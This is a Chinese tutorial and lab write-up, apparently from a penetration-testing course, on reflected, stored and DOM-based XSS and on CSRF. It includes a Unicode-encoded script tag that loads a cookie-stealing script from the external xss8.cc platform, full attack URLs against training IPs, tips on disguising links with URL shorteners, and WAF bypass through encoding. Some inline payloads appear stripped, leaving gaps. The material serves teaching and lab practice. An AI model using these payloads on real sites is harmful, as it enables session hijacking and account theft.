[5] 前端渗透测试

    我很开心，到这，您应该是看完了，

• 《Web通信原理》
• 《Web前后端基础》
• 《信息收集》
• 《SQL注入》

     我不知道您是否看懂了，有错别字或语句不通的地方还请 call 我。

     因为我还是会继续写下去，我学习安全喜欢边学边写。

                                                                                              《目录》

• XSS 原理特性     
• 反射型xss
• 存储型 xss
• Dom Based xss
• CSRF

---

    XSS 原理特性     

               XSS全称跨站脚本攻击，用户浏览网页时，嵌入的 javaScript 代码被执行，从而达到攻击用户的目的，常见漏洞页面，网站搜索页面，留言板。

               xss 也是一种注入，像 SQL 注入是针对支持SQL语句的数据库的。

               而，xss 注入是针对 HTML 代码的网页界面的注入。

 

 

               和 SQL 注入一样，xss 注入也需要俩个条件：

1. 能够输入
2. 能拼接输入的数据(其实是被放到网页的 HTML 代码里)

 

              一般我们输入的是 JS 语句，因为 JS 能操控浏览器。

因此可以：

• 盗取 Cookie
• 获取 内网IP
• 获取 网页截图
• 设计 网页上的键盘记录器
• 获取 浏览器保存的明文密码
•  ......

            xss 的漏洞主要成因是：后端接收参数时未经过滤，导致参数改变了HTML的结构，如下所示：

             在图中可以看到攻击者的参数被原样放到了 HTML 代码当中，导致原本的结构被改变，当这份代码被浏览器执行之后，将执行alert 事件。

             靶场：xxx

             看着这个，我就想起了 聂风 大佬......

             看到第一幅图，有一个框框里面可以输入。

             鼠标右击【检查】：

             点击【箭头】：

             选中网页的输入框框：

             那么，传参名 = keyword，我们构造 JS 语句判断是否存在注入点。

•       ?keyword=

              ? 是 GET 类型的传参方式， keyword 是传参名， 是JS语句，HTML 代码需要用 标签括起。

               是 JS 标签。

              alert(1) ：控制浏览器弹窗，显示的内容是 1；这个没有杀伤力，只是用来判断是否存在注入点而已。 

             

• 完整：xxx?keyword=

 

              可能是靶场没有弹框也不要惊讶，我这里只是说明原理。靶场是不会弹框的因为语句没有执行，而是被当做文本搜索了。

      

              如果在 Chrome 浏览器里直接输入 ?keyword= 会被拦截。

              靶场的地址没有受到拦截(我也很郁闷)，因此我才找了别的 URL(192.168.32.136/xss/) 测试。

              ⚠️ 这是因为 ，谷歌内核浏览器自带 xss 筛选器，所以对于反射型 xss 测试(其余类型不会)，尽量不使用谷歌浏览器，建议使用火狐浏览器进行测试。

 

反射型xss

             xss 的漏洞类型主要分为三类：反射型、存储型、DOM型。

             反射型 xss：如果URL地址当中的恶意参数(JS语句)会直接被输出到页面中，导致攻击代码被触发，便称之为反射型XSS。

             因为弹框是会被直接输出到页面的，因此弹框就是反射型 xss。

             这种反射型 xss 也可以用了获取 Cookie，反射型 xss 必须是受攻击者本人打开才行，别人不点链接就没用了。

             类似，这样的 URL：xxx?keyword=

             一般不会有人打开，QQ群里发的那种骗人的链接(如，一键领取 iPhone-X)是短链接。

             稍稍有杀伤力的如，弹出 Cookie：，得到了 Cookie 就可以免密登陆。

             浏览器搜索短链接，就能找到很多短链接平台，如：https://3url.cn。

             

                          

             这样， 访问这个短链接的效果和原 URL 是一样的 ：https://u8b3.cn/uSU3f。

 

             总之，xss 是一种注入，注入的是网页的代码(一般使用JS语句)。

             但我们可能没学过 JS 这门编程语言，我们写不出 JS 语句获取 Cookie 等。

             面对我们这样大规模的需求，于是就诞生了一些 xss 平台。

             里面有我们需要的 JS 语句，不过一些需要 money ......

             访问 xss 平台最好使用浏览器的隐私模式。

   xss 平台：只需要引入一个 xss 平台链接就可以实现 xss 注入。

• xsspt.com：开放
• xss9.com：需要邀请码

   以 xsspt.com 为例，注册好账号密码，点击登陆。

项目名称和描述，随意输入即可。

点击 [下一步]，按照需求配置 xss 。

下面就是实现这些功能的JS代码：

将如下代码植入怀疑出现 xss 的地方：

既然这 3 种触发方式功能都一样，那选择标准是越短越好，比如：

放到网页里后，如果运行了(Network里可以查看) xss 平台主页就能接受到。

 

靶场、靶场，讲的飘了。

赶紧实践吧。

靶场 URL：xxx

        在框输入：demo，摁 " 回车 "。

        打开 【检查】，Mac电脑摁：command+f 搜索 [demo]。

         demo 就在里面，改输入 。

         可是没有弹框，我们具体看一下代码是怎么回事居然没有弹框。

          既然 < 、>(尖括号)被转义， 判断是否存在注入点。

的确有弹窗 1。

  右键【检查】，查看原因：

   因为我写的 被当成了 html 代码了，主题的值就是空的。

   那同样的代码，反馈内容就不能注入，打开反馈内容的源码。

   要点击 [Eidt as html] 才能看到网页源码具体是怎么的，这样看不出来 ！

尖括号是被转义了，可以使用反射型靶场的事件触发方法突破。

反射型 xss 可以主动攻击任何人，很方便但攻击力度太小；存储型 xss 主要针对网站。

 

靶场实践：xxx。

 

这个靶场有点嚣张，就这个绿色框里面的内容。

我们本来应该是要通过信息收集中的指纹识别才能得到的，这里直接放出来了。

CMS 模板存在通杀漏洞，我们可以到网上找一找 v5.3.0 版本的漏洞。

这个就是找漏洞了，因为cms虽然可以快速建站，但如果在一个 cms 网站中发现漏洞，那还有成千上万的 cms 网站也会有相同的漏洞。

漏洞一般是通过代码审计看出来的，就是直接阅读 cms 源代码找到其中存在的 bug。

0day 漏洞：是黑客找到的，软件开发商都不知道，价值最高，黑客们比的就是掌握 0 day 漏洞 的数量。

1day 漏洞：软件开发商知道漏洞后会打补丁并公布出来，这时有搞事情的黑客就喜欢看公布出来的漏洞研究一下看看还有没有价值。

2 day 漏洞：知道的人更多了，而像我们这种百度上找到漏洞我也不知道该叫 几 day 漏洞 了。

 

我们现在可以看一下这篇博客，如果博客上面的漏洞没有修复那我们就可以搞事情。

看几遍那篇博客，利用里面公开的漏洞拿到靶场的 flag。

 

xss 平台：

• xss8.cc

             用浏览器的隐私模式打开，注册并登陆(邮箱写正确的，这样拿到数据邮件会通知)。

             创建项目，随意填写项目名称、描述。

             点击【下一步】。

              图中介绍了每一条语句各自的用途了。

               

构造语句：?c=mail&m='">

• http://59.63.200.79:8082/index.php?c=mail&m='">

根据 博客 的指示，存储型 xss 代码就被注入进去了。

 

 

看到 xss 主页：

展开一个： 

这个是 Cookie ，结合 Burp Suite 修改 Cookie 可以获取管理员的权限。 

IP 地址在江西。 

flag：zKaQ-01sdfDCo0。

小结： CMS 模板存在通杀，善用搜索引擎寻找通杀漏洞。

 

 

Dom Based xss

        Dom 型 xss 可能是一个瓶颈。

        我们的网页都是由 HTML 语言组成，html语言即网页源代码，您可以理解为和Word文档一样，只是加了些格式所以功能就独特。

        是文档就有格式，html 的文档格式如下所示：

          这个文档模型就叫 Dom，很明显 Dom 是一个树状的模型(倒着看这张图像不像一颗树?呀～)。

          网页的展示界面是可以随时修改的，比如打开京东的网页。

现在，打开开发者工具修改网页。

改成新的价格：

修改这个就和修改 Word 文档一样简单。

 

同样，在浏览器里也可以编写 Javascript 代码根据 dom 一层一层的节点，去遍历/获取/修改对应的节点, 对象, 值。

比如，在浏览器的控制台用 JS 语句获取 Cookie：

Dom 型 xss 就是通过 Dom 树得到的 xss。

例如，通过  (JS的类) document.方法 获取页面上的数据直接输出 或者 获取您的传参直接输出，这样就会产生 Dom 型 xss。

Document 的对象属性

方法	功能	举例
cookie	获取与当前文档的所有 cookie	document.cookie
domain	获取当前文档的域名	document.domain
lastModified	获取当前文档被最后修改的日期和时间，可以判断网页是否是静态	document.lastModified
referrer	获取载入当前文档的文档的URL	document.referrer
title	获取当前文档的标题	document.title
URL	获取当前文档的URL	document.URL
write()	修改当前文档为写入的内容	document.write(123)

   那么说这些的作用是啥 ？

   也许某个东西本身不是 xss ，但与 Dom 树结合就是一个 xss 这种就叫 Dom 型 xss。

   浏览器里之所以可以查看这些数据是因为开发者想减轻服务器的压力，分出一部分数据放在浏览器里直接服务用户，减少浏览器访问数服务器的频度。

   若网站有过滤，我们直接输入的语句可能会被过滤。

 

   因此我们可以使用编码结合 Documnet.方法(接受 native 编码，这个编码是 JS 的)，重塑语句。

   native 编码转换网址：http://tool.chinaz.com/Tools/native_ascii.aspx。

   

  靶场：xxx/dom_xss/

  是一个聊天室，

   Debroon:9999 是我输入的，现在我们判断是否操作 xss 注入点。

   看到框就插： 

    结果一直显示 error 弹框，刷新网页发现被安全狗拦截了。

    p.s. 黑色框#0000的、字号框也可以打 xss，强烈建议使用 火狐 不用 Chrome。

   重进也没办法，只好打开开发者工具，将里面的 cookie 全部清除！！！

分析一下：

：后的 完整的输出了，说明内容被转义了。

而名称则没有括号了，我们再登陆一次，这次只在名称框里输入  ，突然安全狗又出现了。

名称框有安全狗，我们可以想办法绕过。

比如，/1.txt，又比如，编码。

/1.txt 在 SQL 注入的 DNS 注入记录过，Dom 型记录的是 native 编码绕过。

 

鼠标右键打开检查，(Mac) command + f 查询 document。

查询到 3 个，看一下。

如果我们在靶场的网址后添上 123，就访问 dom_xss 下的 123 文件：

但其实，这个文件是我乱写的，因此找不到这个网页。

如果在 123 前加上 ? ，此时就变成了传参：

网页源代码也改变了，那我们可以在控制台输入判断注入点语句的 JS 编码绕过安全狗！

alert(1) 的 Native 编码：\u003c\u0073\u0072\u0063\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0020

构造语句：

• index.php/?\u003c\u0073\u0072\u0063\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0020

弹窗了，的确存在注入点，运用了 document 说明是 Dom 型 xss。

接着，进入 xss 平台：创建项目、项目描述、选择默认模块+xss.js(和反射型 xss 一样)、拷贝链接。

 的 native 编码：

• \u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0078\u0073\u0073\u0038\u002e\u0063\u0063\u002f\u0034\u0064\u005a\u0058\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e

构造语句：

• index.php?\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0078\u0073\u0073\u0038\u002e\u0063\u0063\u002f\u0034\u0064\u005a\u0058\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e

但没有 flag ，我们看一下靶场，打开靶场的时候有提示的：

看到第 2 行：59.63.200.79:8014/dom_xss/dom_php?url=

dom_php?url= 是提交错误链接的，把刚访问的链接放到这。

http://59.63.200.79:8014/dom_xss/index.php?\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0078\u0073\u0073\u0038\u002e\u0063\u0063\u002f\u0034\u0064\u005a\u0058\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e

完整的就是：

http://59.63.200.79:8014/dom_xss/dom_php?url=http://59.63.200.79:8014/dom_xss/index.php?\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0078\u0073\u0073\u0038\u002e\u0063\u0063\u002f\u0034\u0064\u005a\u0058\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e

再访问：http://59.63.200.79:8014/dom_xss/log.html

打开 xss 平台，如果生效多访问几次 log.html。 

flag：zkz{x3ser-D0m}。

 

 

CSRF

     csrf 漏洞的成因就是网站的cookie在浏览器中不会过期，只要不关闭浏览器或者退出登录，那以后只要是访问这个网站，都会默认你已经登录的状态。

     而在这个期间，攻击者发送了构造好的 csrf 脚本或包含 csrf 脚本的链接，可能会修改用户的数据。

     比如，我登陆一个表单网页。

     现在什么都没填或已填完。

        在提交前，我打开了另一个网页(任意网页)。

        而在这个期间，攻击者发送了构造好的 csrf 脚本或包含 csrf 脚本的链接，可能会修改用户的数据。

        网页的数据就被填充或被修改：

         邮箱地址被自动修改，其余内容被自动填充；而我只是去访问了网站 A。

         那您肯定有疑问，为什么会自动修改或自动填充 ？

         看看我再访问网站 A 的时候，发生了什么。

         打开 Burp Suite 一探究竟：

         

访问网站 A

      没有任何问题啊，访问网站 A ，浏览器就会请求，请求是 GET 方式。

      现在点击 [Forward] (鼠标所在的)，把包放过去。

      

放包的概念

       发现浏览器偷偷的发生了一个 Post 请求诶。

绿色框里面的就是被自动修改或被自动填充的内容：

 因此，CSRF 就是让浏览器偷偷摸摸的发个包咯，与 xss 不同 CSRF 并没有盗取 cookie，只是利用了 cookie 修改数据。

 那么，CSRF 是如何获取 cookie 的 ？

 网站 A 的网页源码源代码有一段脚本，会自动获取目标站点的 cookie 。

 把网站 A 发生给被攻击者就是我们要做的事情，当然网站 A 得有一段利用 cookie 的脚本。

 为了让您理解 CSRF，我说一下详细过程。

 用户浏览一个信任的网站 G，浏览器和服务器发生了交互，浏览器记录了 cookie。

 在浏览 G 时(没有登出网站 cookie 还存在)，突然去访问了 有脚本的网站 A。

 用户在访问网站 A 时，不知道网站 A 的脚本从浏览器那里获取了 cookie 偷偷的修改了网站 G 的数据。

 除了修改数据、个人信息泄露外， CSRF 还可以以用户的名义发生邮件、发消息、盗号、购买商品、银行转账......

 网站 A 的脚本不会写怎么办 ？

 可以用 Burp Suite 自带的 CSRF！！！

  点击 Generate CSRF Poc ，Burp Suite 会产生一份代码：  

       将 CSRF HTML 代码以 .html 文件格式 保存下来，创建一个网页；

       在用户再访问被的网页的途中，我们想方设法的让 TA 点击我们创建的网页即可。

       只要用户点击了，我们就可以如上面的图示，自动修改了内容或者自动填充内容了。

       像以前 QQ 刷赞，就是使用 CSRF 要别人点击 CSRF的网站，而后利用浏览器的 cookie 点赞。

       那如何预防 CSRF ? ?

       因为 cookie 是为了用户可以方便的浏览网页而存在的，总不能点一个网页就登陆一下，这样没有体验。

       因此，cookie 不能动、验证不要加；可以在请求中添加一个随机值( 参见《Token 机制》)。

       只要黑客没和用户处于同一内网，CSRF 不能获取这个随机值，因此一般如果如果在请求中出现 token="xxx" 就可能不存在 CSRF 的漏洞；当然开发者为了安全起见，会把 token 改成别的名字。

    

        靶场实践：xxx。

      显然这个网站是通过 织梦的 cms 模板 搭建起来的；通过信息收集得到的版本：Dedecms v5.7 sp1。

      先找漏洞，百度一下，谷歌俩下：织梦 cms 的漏洞。 

      通过 Google 语法找到一篇文章：《Dedecms V5.7后台的两处 getshell》。      

 

这部分没写全，也许以后后更新。

 

 

通过 cms 通杀 漏洞拿到 xxx，登陆后台，弱密码爆破。

账号：admin

密码：admin123

以管理员的身份登陆后，点击 CSRF 的网页。

得到 flag：flag{"tu_lonG_Dao_yi_Da"}。

 

CSRF 扩展资料：《强大的防御跨站点请求伪造》。